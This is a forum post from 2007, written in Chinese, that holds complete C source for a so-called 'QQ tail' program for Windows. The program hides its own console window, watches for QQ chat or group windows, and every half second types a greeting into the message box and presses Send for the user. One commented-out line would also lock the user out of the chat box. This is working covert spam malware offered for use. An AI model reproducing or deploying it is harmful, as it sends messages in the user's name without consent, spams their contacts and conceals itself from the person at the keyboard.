//QQ尾巴
#include <windows.h>
#include <stdio.h>
#include <string.h>
#define id_Send 0x77E //发送按扭的ID
unsigned char title[256],buffer[]="大家好.";
int isChat()/*判断是否QQ聊天窗口*/
{ unsigned char *cp;
int s_len;
s_len=strlen(title);
if (s_len<4)
return 0;
title[2]='\0';
/*与好友聊天中(判断起始字是'与',结束字是'聊天中')*/
if (!strcmp(title,"与") && s_len>8)
{ cp=&title[s_len-6];
if(!strcmp(cp,"聊天中"))
return 1;
}
/*群聊中(判断结束字是'-群')*/
cp=&title[s_len-2];
if (!strcmp(cp,"群"))
return 1;
return 0;
}
int main(int argc,char *argv[])
{
HWND h_Fore; //前台窗口句柄
HWND h_Chat; //聊天窗口句柄
HWND h_Parent; //发送按扭的父窗口
int i;
ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0); //隐藏自身
while(1)
{ h_Fore=GetForegroundWindow(); //得到前台窗口句柄
GetWindowText(h_Fore,title,256); //得到前台窗口标题
if (isChat())
{ h_Parent=FindWindowEx(h_Fore,NULL,"#32770","");
//因为第二个AfxWnd42才是消息框的父窗口
h_Chat=FindWindowEx(h_Parent,NULL,"AfxWnd42",NULL);
h_Chat=FindWindowEx(h_Parent,h_Chat,"AfxWnd42",NULL);
h_Chat=FindWindowEx(h_Chat,NULL,"RichEdit20A",NULL);
for(i=0;buffer[i]!='\0';i++)
SendMessage(h_Chat,WM_CHAR,buffer[i],0);
SendMessage(h_Parent,WM_COMMAND,id_Send,BN_CLICKED);//单击发送按扭
//EnableWindow(h_Chat,0);要是加上这句的话,用户就不能聊天啦.
}
Sleep(500);
}
return 0;
}
专门加了一个对QQ聊天窗口判断的函数.
[此贴子已经被作者于2007-3-1 2:06:47编辑过]